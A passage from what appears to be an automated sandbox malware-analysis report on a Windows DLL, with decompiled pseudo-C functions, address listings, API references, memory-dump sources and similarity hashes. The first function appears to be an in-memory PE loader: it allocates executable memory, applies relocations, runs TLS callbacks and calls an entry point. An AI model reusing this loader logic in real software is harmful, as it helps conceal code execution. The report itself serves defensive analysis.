										_t171 = _t246 >> 0xc;
										__eflags = _t171 - 0xa;
										if(_t171 != 0xa) {
											__eflags = _t171 - 3;
											if(_t171 != 3) {
												__eflags = _t171 - 1;
												if(_t171 != 1) {
													__eflags = _t171 - 2;
													if(_t171 == 2) {
														_t227 = _t226 & 0x00000fff;
														_t108 = _t227 + _t284;
														 *_t108 =  *(_t227 + _t284) + _t263;
														__eflags =  *_t108;
													}
												} else {
													 *((intOrPtr*)((_t226 & 0x00000fff) + _t284)) =  *((intOrPtr*)((_t226 & 0x00000fff) + _t284)) + (_t263 >> 0x10);
												}
											} else {
												 *((intOrPtr*)((_t226 & 0x00000fff) + _t284)) =  *((intOrPtr*)((_t226 & 0x00000fff) + _t284)) + _t263;
											}
										} else {
											 *((intOrPtr*)((_t246 & 0x00000fff) + _t284)) =  *((intOrPtr*)((_t246 & 0x00000fff) + _t284)) + _t263;
										}
										_t297 =  &(_t297[1]);
										__eflags = _t212;
									} while (_t212 != 0);
									_t225 =  *(_t301 + 0x18);
									_t169 =  *(_t225 + 4);
								}
								_t294 =  *(_t301 + 0x10);
								_t225 = _t225 + _t169;
								 *(_t301 + 0x18) = _t225;
								_t169 =  *(_t225 + 4);
								__eflags = _t169;
							} while (_t169 != 0);
							_t245 =  *(_t301 + 0x1c);
						}
					}
					 *0x6e7fae08 = _t294;
					_t265 =  *((intOrPtr*)(_t245 + 0x28)) + _t294;
					_t278 =  *( *((intOrPtr*)(_t294 + 0x3c)) + _t294 + 0xc0);
					__eflags = _t278;
					if(_t278 != 0) {
						_t282 =  *(_t278 + _t294 + 0xc);
						__eflags = _t282;
						if(_t282 != 0) {
							_t167 =  *_t282;
							__eflags = _t167;
							while(_t167 != 0) {
								 *_t167(_t294, 1, 0);
								_t167 =  *(_t282 + 4);
								_t282 = _t282 + 4;
								__eflags = _t167;
							}
						}
					}
					_t208 =  *((intOrPtr*)(_t301 + 0x28));
					__eflags =  *(_t208 + 0x1c);
					if( *(_t208 + 0x1c) != 0) {
						 *_t265( *((intOrPtr*)(_t208 + 0x10)), 1, 0);
						goto L77;
					} else {
						_push( *((intOrPtr*)(_t208 + 4)));
						_push(_t294);
						_t280 = E6E7B9850();
						_t301 = _t301 + 8;
						__eflags = _t280;
						if(_t280 == 0) {
							L77:
							_pop(_t266);
							_pop(_t279);
							_pop(_t209);
							__eflags =  *(_t301 + 0x5c) ^ _t301;
							return E6E7BA057( *((intOrPtr*)(_t301 + 0x28)), _t209,  *(_t301 + 0x5c) ^ _t301, _t245, _t266, _t279);
						} else {
							__eflags =  *(_t208 + 0x20);
							if( *(_t208 + 0x20) != 0) {
								E6E7B9920(_t294);
								_t301 = _t301 + 4;
							}
							 *_t265( *((intOrPtr*)(_t208 + 0x10)), 1, 0);
							_t164 =  *_t280( *((intOrPtr*)(_t208 + 0xc)),  *((intOrPtr*)(_t208 + 0x10)),  *((intOrPtr*)(_t208 + 0x14)),  *((intOrPtr*)(_t208 + 0x18)));
							_pop(_t267);
							_pop(_t281);
							_pop(_t210);
							__eflags =  *(_t301 + 0x4c) ^ _t301;
							return E6E7BA057(_t164, _t210,  *(_t301 + 0x4c) ^ _t301, _t245, _t267, _t281);
						}
					}
				}
			}

0x6e7b9993
0x6e7b999a
0x6e7b99a2
0x6e7b99a6
0x6e7b99ab
0x6e7b99af
0x6e7b99b4
0x6e7b99b6
0x6e7b99b9
0x6e7b99bb
0x6e7b99bf
0x6e7b99cc
0x6e7b99d0
0x00000000
0x6e7b99d4
0x6e7b99d7
0x6e7b99ef
0x6e7b99ef
0x00000000
0x6e7b99ef
0x6e7b99d9
0x6e7b99e4
0x00000000
0x00000000
0x6e7b99f8
0x6e7b99ff
0x6e7b9a02
0x6e7b9a06
0x6e7b9a08
0x6e7b9a10
0x6e7b9a10
0x6e7b9a13
0x6e7b9a13
0x6e7b9a15
0x6e7b9a20
0x6e7b9a20
0x6e7b9a23
0x6e7b9a26
0x6e7b9a29
0x6e7b9a2b
0x6e7b9a2b
0x6e7b9a2b
0x6e7b9a2e
0x6e7b9a34
0x6e7b9a36
0x6e7b9a37
0x6e7b9a37
0x6e7b9a3c
0x6e7b9a42
0x6e7b9a48
0x6e7b9a4b
0x6e7b9a57
0x6e7b9a59
0x6e7b9a63
0x6e7b9a65
0x6e7b9a65
0x6e7b9a67
0x6e7b9a69
0x6e7b9a6b
0x6e7b9a6b
0x6e7b9a6d
0x6e7b9a70
0x6e7b9a70
0x6e7b9a73
0x6e7b9a79
0x6e7b9a7b
0x6e7b9a7d
0x6e7b9a7d
0x6e7b9a81
0x6e7b9a86
0x6e7b9a96
0x6e7b9aa0
0x6e7b9aa3
0x6e7b9aa8
0x6e7b9ab5
0x6e7b9aba
0x6e7b9ac7
0x6e7b9acc
0x6e7b9ad4
0x6e7b9ad4
0x6e7b9ad6
0x6e7b9ad6
0x6e7b9abc
0x6e7b9ac1
0x6e7b9ac1
0x6e7b9aaa
0x6e7b9aaf
0x6e7b9aaf
0x6e7b9ada
0x6e7b9ada
0x6e7b9a88
0x6e7b9a88
0x6e7b9a8d
0x00000000
0x6e7b9a8f
0x6e7b9a8f
0x6e7b9a94
0x00000000
0x00000000
0x6e7b9a94
0x6e7b9a8d
0x6e7b9ae0
0x6e7b9ae3
0x6e7b9ae6
0x6e7b9ae6
0x6e7b9aef
0x6e7b9af3
0x6e7b9af3
0x6e7b9af7
0x6e7b9afc
0x00000000
0x6e7b9afe
0x6e7b9afe
0x6e7b9b00
0x00000000
0x6e7b9b02
0x6e7b9b02
0x6e7b9b07
0x00000000
0x00000000
0x6e7b9b07
0x6e7b9b00
0x00000000
0x6e7b9b09
0x6e7b9b09
0x6e7b9b0c
0x6e7b9b10
0x6e7b9b10
0x6e7b9b18
0x6e7b9b18
0x6e7b9b23
0x6e7b9b27
0x6e7b9b37
0x6e7b9b3b
0x6e7b9b45
0x6e7b9b49
0x6e7b9b5a
0x6e7b9b61
0x6e7b9b65
0x6e7b9b83
0x6e7b9b87
0x6e7b9b89
0x6e7b9b8c
0x6e7b9b8e
0x6e7b9b92
0x6e7b9b94
0x6e7b9b96
0x6e7b9b9a
0x6e7b9b9a
0x6e7b9ba0
0x6e7b9ba0
0x6e7b9ba2
0x6e7b9ba5
0x6e7b9ba9
0x6e7b9ba9
0x6e7b9ba9
0x6e7b9ba0
0x6e7b9bb2
0x6e7b9bb4
0x6e7b9bb8
0x6e7b9bba
0x6e7b9bbc
0x6e7b9bbc
0x6e7b9bc0
0x6e7b9bc4
0x6e7b9bd0
0x6e7b9bd8
0x6e7b9bda
0x6e7b9bde
0x6e7b9be1
0x6e7b9be3
0x6e7b9be5
0x6e7b9be7
0x6e7b9bea
0x6e7b9bed
0x6e7b9bf0
0x6e7b9bf0
0x6e7b9bf0
0x6e7b9be5
0x6e7b9bf5
0x6e7b9bf8
0x6e7b9bf8
0x6e7b9bc0
0x6e7b9c00
0x6e7b9c05
0x6e7b9c07
0x6e7b9c0b
0x6e7b9c0e
0x6e7b9c10
0x6e7b9c16
0x6e7b9c16
0x6e7b9c19
0x00000000
0x00000000
0x6e7b9c28
0x6e7b9c2a
0x6e7b9c2e
0x6e7b9c33
0x6e7b9c35
0x6e7b9c38
0x6e7b9c3a
0x6e7b9c40
0x6e7b9c40
0x6e7b9c42
0x6e7b9c66
0x6e7b9c68
0x6e7b9c68
0x6e7b9c6f
0x6e7b9c44
0x6e7b9c44
0x6e7b9c46
0x6e7b9c48
0x00000000
0x6e7b9c4a
0x6e7b9c62
0x6e7b9c62
0x6e7b9c48
0x6e7b9c73
0x6e7b9c75
0x6e7b9c78
0x6e7b9c7a
0x6e7b9c7d
0x6e7b9c80
0x6e7b9c83
0x6e7b9c85
0x6e7b9c85
0x6e7b9c40
0x6e7b9c8f
0x6e7b9c93
0x6e7b9c96
0x6e7b9c9a
0x6e7b9c9d
0x6e7b9c9f
0x00000000
0x00000000
0x00000000
0x6e7b9c9f
0x6e7b9c16
0x6e7b9ca5
0x6e7b9ca7
0x6e7b9cb4
0x6e7b9cbb
0x6e7b9cbf
0x6e7b9cc5
0x6e7b9cc8
0x6e7b9ccf
0x6e7b9cdb
0x6e7b9cdd
0x6e7b9ce1
0x6e7b9ce4
0x6e7b9ce6
0x6e7b9cf0
0x6e7b9cf2
0x6e7b9cf5
0x6e7b9cf7
0x6e7b9cf7
0x6e7b9cf9
0x6e7b9cfc
0x6e7b9d00
0x6e7b9d00
0x6e7b9d04
0x6e7b9d08
0x6e7b9d0a
0x6e7b9d0e
0x6e7b9d12
0x6e7b9d1f
0x6e7b9d23
0x6e7b9d30
0x6e7b9d34
0x6e7b9d47
0x6e7b9d4b
0x6e7b9d4d
0x6e7b9d53
0x6e7b9d53
0x6e7b9d53
0x6e7b9d53
0x6e7b9d36
0x6e7b9d41
0x6e7b9d41
0x6e7b9d25
0x6e7b9d2b
0x6e7b9d2b
0x6e7b9d14
0x6e7b9d1a
0x6e7b9d1a
0x6e7b9d57
0x6e7b9d5a
0x6e7b9d5a
0x6e7b9d5e
0x6e7b9d62
0x6e7b9d62
0x6e7b9d65
0x6e7b9d69
0x6e7b9d6b
0x6e7b9d6f
0x6e7b9d72
0x6e7b9d72
0x6e7b9d7a
0x6e7b9d7a
0x6e7b9ce6
0x6e7b9d81
0x6e7b9d87
0x6e7b9d8c
0x6e7b9d93
0x6e7b9d95
0x6e7b9d97
0x6e7b9d9b
0x6e7b9d9d
0x6e7b9d9f
0x6e7b9da1
0x6e7b9da3
0x6e7b9daa
0x6e7b9dac
0x6e7b9daf
0x6e7b9db2
0x6e7b9db2
0x6e7b9da3
0x6e7b9d9d
0x6e7b9db6
0x6e7b9dba
0x6e7b9dbe
0x6e7b9e12
0x00000000
0x6e7b9dc0
0x6e7b9dc0
0x6e7b9dc3
0x6e7b9dc9
0x6e7b9dcb
0x6e7b9dce
0x6e7b9dd0
0x6e7b9e14
0x6e7b9e1c
0x6e7b9e1d
0x6e7b9e1f
0x6e7b9e20
0x6e7b9e2a
0x6e7b9dd2
0x6e7b9dd2
0x6e7b9dd6
0x6e7b9dd9
0x6e7b9dde
0x6e7b9dde
0x6e7b9de8
0x6e7b9df6
0x6e7b9df8
0x6e7b9df9
0x6e7b9dfb
0x6e7b9e00
0x6e7b9e0a
0x6e7b9e0a
0x6e7b9dd0
0x6e7b9dbe

APIs

CreateFileA.KERNEL32(asd,00000000,00000000,00000000,00000000,00000000,00000000), ref: 6E7B9B65
GetLastError.KERNEL32 ref: 6E7B9B6B
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 6E7B9B87

Strings

asd, xrefs: 6E7B9B5C

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocCreateErrorFileLastVirtual
String ID: asd
API String ID: 1112224254-4170839921
Opcode ID: ba585a0df92397d78eafea0ed9e64f080a1537ed73a79c5825f0b012d06cb58e
Instruction ID: f3e6e7b5553717fda1b4467653c3c8b7504e364b0ef67bdf36e6bef4abb1aa34
Opcode Fuzzy Hash: ba585a0df92397d78eafea0ed9e64f080a1537ed73a79c5825f0b012d06cb58e
Instruction Fuzzy Hash: 86E1DE71A083068FCB50CF99C990B2AB7E1FFA9704F15496DE8698B365E731E845CF81

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BA21B, Relevance: 10.6, APIs: 7, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E6E7BA21B(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t34;
				signed int _t40;
				signed int _t41;
				signed int _t42;
				signed int _t45;
				signed char _t54;
				signed int _t56;
				signed int _t58;
				void* _t61;
				void* _t68;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				void* _t82;
				void* _t89;

				_t89 = __fp0;
				_t68 = __edx;
				_push(0x10);
				_push(0x6e7f7d80);
				E6E7BAC90(__ebx, __edi, __esi);
				_t34 =  *0x6e7fae14; // 0x0
				if(_t34 > 0) {
					 *0x6e7fae14 = _t34 - 1;
					 *(_t82 - 0x1c) = 1;
					 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
					 *((char*)(_t82 - 0x20)) = E6E7BA872();
					 *(_t82 - 4) = 1;
					__eflags =  *0x6e7fb158 - 2;
					if( *0x6e7fb158 != 2) {
						E6E7BAB0C(_t68, 1, __esi, 7);
						asm("int3");
						_push(0xc);
						_push(0x6e7f7da8);
						E6E7BAC90(__ebx, 1, __esi);
						_t72 =  *(_t82 + 0xc);
						__eflags = _t72;
						if(_t72 != 0) {
							L9:
							 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
							__eflags = _t72 - 1;
							if(_t72 == 1) {
								L12:
								_t58 =  *(_t82 + 0x10);
								_t76 = E6E7BA3D6( *((intOrPtr*)(_t82 + 8)), _t72, _t58);
								 *(_t82 - 0x1c) = _t76;
								__eflags = _t76;
								if(_t76 != 0) {
									_t41 = E6E7BA0C1(_t61,  *((intOrPtr*)(_t82 + 8)), _t72, _t58); // executed
									_t76 = _t41;
									 *(_t82 - 0x1c) = _t76;
									__eflags = _t76;
									if(_t76 != 0) {
										goto L14;
									}
								}
							} else {
								__eflags = _t72 - 2;
								if(_t72 == 2) {
									goto L12;
								} else {
									_t58 =  *(_t82 + 0x10);
									L14:
									_push(_t58);
									_t42 = E6E7A1290(_t58, _t72, _t76, _t89,  *((intOrPtr*)(_t82 + 8)), _t72); // executed
									_t76 = _t42;
									 *(_t82 - 0x1c) = _t76;
									__eflags = _t72 - 1;
									if(_t72 == 1) {
										__eflags = _t76;
										if(_t76 == 0) {
											_push(_t58);
											_t45 = E6E7A1290(_t58, _t72, _t76, _t89,  *((intOrPtr*)(_t82 + 8)), _t42);
											__eflags = _t58;
											_t25 = _t58 != 0;
											__eflags = _t25;
											_push((_t45 & 0xffffff00 | _t25) & 0x000000ff);
											E6E7BA21B(_t58, _t68, _t72, _t76, _t25, _t89);
											_pop(_t61);
											E6E7BA3D6( *((intOrPtr*)(_t82 + 8)), _t76, _t58);
										}
									}
									__eflags = _t72;
									if(_t72 == 0) {
										L19:
										_t76 = E6E7BA0C1(_t61,  *((intOrPtr*)(_t82 + 8)), _t72, _t58);
										 *(_t82 - 0x1c) = _t76;
										__eflags = _t76;
										if(_t76 != 0) {
											_t76 = E6E7BA3D6( *((intOrPtr*)(_t82 + 8)), _t72, _t58);
											 *(_t82 - 0x1c) = _t76;
										}
									} else {
										__eflags = _t72 - 3;
										if(_t72 == 3) {
											goto L19;
										}
									}
								}
							}
							 *(_t82 - 4) = 0xfffffffe;
							_t40 = _t76;
						} else {
							__eflags =  *0x6e7fae14 - _t72; // 0x0
							if(__eflags > 0) {
								goto L9;
							} else {
								_t40 = 0;
							}
						}
						 *[fs:0x0] =  *((intOrPtr*)(_t82 - 0x10));
						return _t40;
					} else {
						E6E7BA93D(__ebx, _t61, 1, __esi);
						E6E7BA7F9();
						E6E7BAC5B();
						 *0x6e7fb158 =  *0x6e7fb158 & 0x00000000;
						 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
						E6E7BA2B0();
						_t54 = E6E7BAADE(_t61,  *((intOrPtr*)(_t82 + 8)), 0);
						asm("sbb esi, esi");
						_t80 =  ~(_t54 & 0x000000ff) & 1;
						__eflags = _t80;
						 *(_t82 - 0x1c) = _t80;
						 *(_t82 - 4) = 0xfffffffe;
						E6E7BA2BD();
						_t56 = _t80;
						goto L4;
					}
				} else {
					_t56 = 0;
					L4:
					 *[fs:0x0] =  *((intOrPtr*)(_t82 - 0x10));
					return _t56;
				}
			}

0x6e7ba21b
0x6e7ba21b
0x6e7ba21b
0x6e7ba21d
0x6e7ba222
0x6e7ba227
0x6e7ba22e
0x6e7ba235
0x6e7ba23d
0x6e7ba240
0x6e7ba249
0x6e7ba24c
0x6e7ba24f
0x6e7ba256
0x6e7ba2c5
0x6e7ba2ca
0x6e7ba2cb
0x6e7ba2cd
0x6e7ba2d2
0x6e7ba2d7
0x6e7ba2da
0x6e7ba2dc
0x6e7ba2ed
0x6e7ba2ed
0x6e7ba2f1
0x6e7ba2f4
0x6e7ba300
0x6e7ba300
0x6e7ba30d
0x6e7ba30f
0x6e7ba312
0x6e7ba314
0x6e7ba31f
0x6e7ba324
0x6e7ba326
0x6e7ba329
0x6e7ba32b
0x00000000
0x00000000
0x6e7ba32b
0x6e7ba2f6
0x6e7ba2f6
0x6e7ba2f9
0x00000000
0x6e7ba2fb
0x6e7ba2fb
0x6e7ba331
0x6e7ba331
0x6e7ba336
0x6e7ba33b
0x6e7ba33d
0x6e7ba340
0x6e7ba343
0x6e7ba345
0x6e7ba347
0x6e7ba349
0x6e7ba34e
0x6e7ba353
0x6e7ba355
0x6e7ba355
0x6e7ba35b
0x6e7ba35c
0x6e7ba361
0x6e7ba367
0x6e7ba367
0x6e7ba347
0x6e7ba36c
0x6e7ba36e
0x6e7ba375
0x6e7ba37f
0x6e7ba381
0x6e7ba384
0x6e7ba386
0x6e7ba392
0x6e7ba3ba
0x6e7ba3ba
0x6e7ba370
0x6e7ba370
0x6e7ba373
0x00000000
0x00000000
0x6e7ba373
0x6e7ba36e
0x6e7ba2f9
0x6e7ba3bd
0x6e7ba3c4
0x6e7ba2de
0x6e7ba2de
0x6e7ba2e4
0x00000000
0x6e7ba2e6
0x6e7ba2e6
0x6e7ba2e6
0x6e7ba2e4
0x6e7ba3c9
0x6e7ba3d5
0x6e7ba258
0x6e7ba258
0x6e7ba25d
0x6e7ba262
0x6e7ba267
0x6e7ba26e
0x6e7ba272
0x6e7ba27c
0x6e7ba288
0x6e7ba28a
0x6e7ba28a
0x6e7ba28c
0x6e7ba28f
0x6e7ba296
0x6e7ba29b
0x00000000
0x6e7ba29b
0x6e7ba230
0x6e7ba230
0x6e7ba29d
0x6e7ba2a0
0x6e7ba2ac
0x6e7ba2ac

APIs

__RTC_Initialize.LIBCMT ref: 6E7BA262
___scrt_uninitialize_crt.LIBCMT ref: 6E7BA27C

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: fe0ab5cd7454d1564b97d9a569f59f8530b46da1b727c4d283d6ae2615adb3bd
Instruction ID: 09e59c9822cd4f93c0057b765c6c7dc6f4a87fb930abc7ef0f8261311351e77d
Opcode Fuzzy Hash: fe0ab5cd7454d1564b97d9a569f59f8530b46da1b727c4d283d6ae2615adb3bd
Instruction Fuzzy Hash: E641D272D04615EFDB51AFD8CE04BEE3BB9EB81BA4F004929F81557260D7318D418BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BA2CB, Relevance: 7.6, APIs: 5, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E6E7BA2CB(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				signed int _t24;
				signed int _t25;
				signed int _t26;
				signed int _t29;
				signed int _t35;
				void* _t37;
				void* _t40;
				signed int _t42;
				signed int _t45;
				void* _t47;
				void* _t52;
				void* _t53;

				_t53 = __fp0;
				_t40 = __edx;
				_push(0xc);
				_push(0x6e7f7da8);
				E6E7BAC90(__ebx, __edi, __esi);
				_t42 =  *(_t47 + 0xc);
				if(_t42 != 0) {
					L3:
					 *(_t47 - 4) =  *(_t47 - 4) & 0x00000000;
					__eflags = _t42 - 1;
					if(_t42 == 1) {
						L6:
						_t35 =  *(_t47 + 0x10);
						_t45 = E6E7BA3D6( *((intOrPtr*)(_t47 + 8)), _t42, _t35);
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t45;
						if(_t45 == 0) {
							L16:
							 *(_t47 - 4) = 0xfffffffe;
							_t24 = _t45;
							L17:
							 *[fs:0x0] =  *((intOrPtr*)(_t47 - 0x10));
							return _t24;
						}
						_t25 = E6E7BA0C1(_t37,  *((intOrPtr*)(_t47 + 8)), _t42, _t35); // executed
						_t45 = _t25;
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t45;
						if(_t45 == 0) {
							goto L16;
						}
						L8:
						_push(_t35);
						_t26 = E6E7A1290(_t35, _t42, _t45, _t53,  *((intOrPtr*)(_t47 + 8)), _t42); // executed
						_t45 = _t26;
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t42 - 1;
						if(_t42 == 1) {
							__eflags = _t45;
							if(_t45 == 0) {
								_push(_t35);
								_t29 = E6E7A1290(_t35, _t42, _t45, _t53,  *((intOrPtr*)(_t47 + 8)), _t26);
								__eflags = _t35;
								_t14 = _t35 != 0;
								__eflags = _t14;
								_push((_t29 & 0xffffff00 | _t14) & 0x000000ff);
								E6E7BA21B(_t35, _t40, _t42, _t45, _t14, _t53);
								_pop(_t37);
								E6E7BA3D6( *((intOrPtr*)(_t47 + 8)), _t45, _t35);
							}
						}
						__eflags = _t42;
						if(_t42 == 0) {
							L13:
							_t45 = E6E7BA0C1(_t37,  *((intOrPtr*)(_t47 + 8)), _t42, _t35);
							 *(_t47 - 0x1c) = _t45;
							__eflags = _t45;
							if(_t45 != 0) {
								_t45 = E6E7BA3D6( *((intOrPtr*)(_t47 + 8)), _t42, _t35);
								 *(_t47 - 0x1c) = _t45;
							}
							goto L16;
						} else {
							__eflags = _t42 - 3;
							if(_t42 != 3) {
								goto L16;
							}
							goto L13;
						}
					}
					__eflags = _t42 - 2;
					if(_t42 == 2) {
						goto L6;
					}
					_t35 =  *(_t47 + 0x10);
					goto L8;
				}
				_t52 =  *0x6e7fae14 - _t42; // 0x0
				if(_t52 > 0) {
					goto L3;
				}
				_t24 = 0;
				goto L17;
			}

0x6e7ba2cb
0x6e7ba2cb
0x6e7ba2cb
0x6e7ba2cd
0x6e7ba2d2
0x6e7ba2d7
0x6e7ba2dc
0x6e7ba2ed
0x6e7ba2ed
0x6e7ba2f1
0x6e7ba2f4
0x6e7ba300
0x6e7ba300
0x6e7ba30d
0x6e7ba30f
0x6e7ba312
0x6e7ba314
0x6e7ba3bd
0x6e7ba3bd
0x6e7ba3c4
0x6e7ba3c6
0x6e7ba3c9
0x6e7ba3d5
0x6e7ba3d5
0x6e7ba31f
0x6e7ba324
0x6e7ba326
0x6e7ba329
0x6e7ba32b
0x00000000
0x00000000
0x6e7ba331
0x6e7ba331
0x6e7ba336
0x6e7ba33b
0x6e7ba33d
0x6e7ba340
0x6e7ba343
0x6e7ba345
0x6e7ba347
0x6e7ba349
0x6e7ba34e
0x6e7ba353
0x6e7ba355
0x6e7ba355
0x6e7ba35b
0x6e7ba35c
0x6e7ba361
0x6e7ba367
0x6e7ba367
0x6e7ba347
0x6e7ba36c
0x6e7ba36e
0x6e7ba375
0x6e7ba37f
0x6e7ba381
0x6e7ba384
0x6e7ba386
0x6e7ba392
0x6e7ba3ba
0x6e7ba3ba
0x00000000
0x6e7ba370
0x6e7ba370
0x6e7ba373
0x00000000
0x00000000
0x00000000
0x6e7ba373
0x6e7ba36e
0x6e7ba2f6
0x6e7ba2f9
0x00000000
0x00000000
0x6e7ba2fb
0x00000000
0x6e7ba2fb
0x6e7ba2de
0x6e7ba2e4
0x00000000
0x00000000
0x6e7ba2e6
0x00000000

APIs

dllmain_raw.LIBCMT ref: 6E7BA308
dllmain_crt_dispatch.LIBCMT ref: 6E7BA31F
dllmain_raw.LIBCMT ref: 6E7BA367
dllmain_crt_dispatch.LIBCMT ref: 6E7BA37A
dllmain_raw.LIBCMT ref: 6E7BA38D

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: d3028fbe08cd61ab4dfd8971339996b50079ef575c7ff6d8b18df64256fc3b78
Instruction ID: 4c2541d02c8c01ac0656d236f2571d2b6239d3d767cb0e63d3cd0b9dce91c622
Opcode Fuzzy Hash: d3028fbe08cd61ab4dfd8971339996b50079ef575c7ff6d8b18df64256fc3b78
Instruction Fuzzy Hash: 12216B72D00619ABDB61AFD9CA44AAF3A6AEB81B94F014525FC2557260D3318D518BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC460, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E7AC460() {
				struct HINSTANCE__* _t1;

				_t1 = GetModuleHandleA("api-ms-win-core-synch-l1-2-0"); // executed
				if(_t1 == 0) {
					return _t1;
				} else {
					return GetProcAddress(_t1, "WakeByAddressSingle");
				}
			}

0x6e7ac465
0x6e7ac46d
0x6e7ac47c
0x6e7ac46f
0x6e7ac47b
0x6e7ac47b

APIs

GetModuleHandleA.KERNEL32(api-ms-win-core-synch-l1-2-0), ref: 6E7AC465
GetProcAddress.KERNEL32(00000000,WakeByAddressSingle), ref: 6E7AC475

Strings

api-ms-win-core-synch-l1-2-0, xrefs: 6E7AC460
WakeByAddressSingle, xrefs: 6E7AC46F

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: WakeByAddressSingle$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1731903895
Opcode ID: e43edb387a3534e12e8439f0274eef2ba77c44b5aa36fe3323857dbc3a323caa
Instruction ID: 1927642f656428aee452ce5113f2a43eea6ee67fd4826fc11dce86d874a20475
Opcode Fuzzy Hash: e43edb387a3534e12e8439f0274eef2ba77c44b5aa36fe3323857dbc3a323caa
Instruction Fuzzy Hash: 0AB092716089016AAE94AAF15F0CA16392CAAC2B1670045B463A2D95A1EB209140AD29

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC4E0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E7AC4E0() {
				struct HINSTANCE__* _t1;

				_t1 = GetModuleHandleA("api-ms-win-core-synch-l1-2-0"); // executed
				if(_t1 == 0) {
					return _t1;
				} else {
					return GetProcAddress(_t1, "WaitOnAddress");
				}
			}

0x6e7ac4e5
0x6e7ac4ed
0x6e7ac4fc
0x6e7ac4ef
0x6e7ac4fb
0x6e7ac4fb

APIs

GetModuleHandleA.KERNEL32(api-ms-win-core-synch-l1-2-0), ref: 6E7AC4E5
GetProcAddress.KERNEL32(00000000,WaitOnAddress), ref: 6E7AC4F5

Strings

WaitOnAddress, xrefs: 6E7AC4EF
api-ms-win-core-synch-l1-2-0, xrefs: 6E7AC4E0

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: WaitOnAddress$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1891578837
Opcode ID: e2f67aa9095231bb5eb420b7cf978aa9bc776130c0c91c5bc88af790b2613aff
Instruction ID: d51d90ce4776bbfc3fcb56c6891cfdea550270ba1a26f100c6fafe2c42ea64e3
Opcode Fuzzy Hash: e2f67aa9095231bb5eb420b7cf978aa9bc776130c0c91c5bc88af790b2613aff
Instruction Fuzzy Hash: 1DB092726089026AAEA4AAF25F0CA16392CAB91B1A70185746662E9561EB20D140AD29

Uniqueness

Uniqueness Score: -1.00%

Function 6E7A1290, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 136
memoryCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6E7A1290(void* __ebx, void* __edi, void* __esi, void* __fp0, intOrPtr _a4, intOrPtr _a8) {
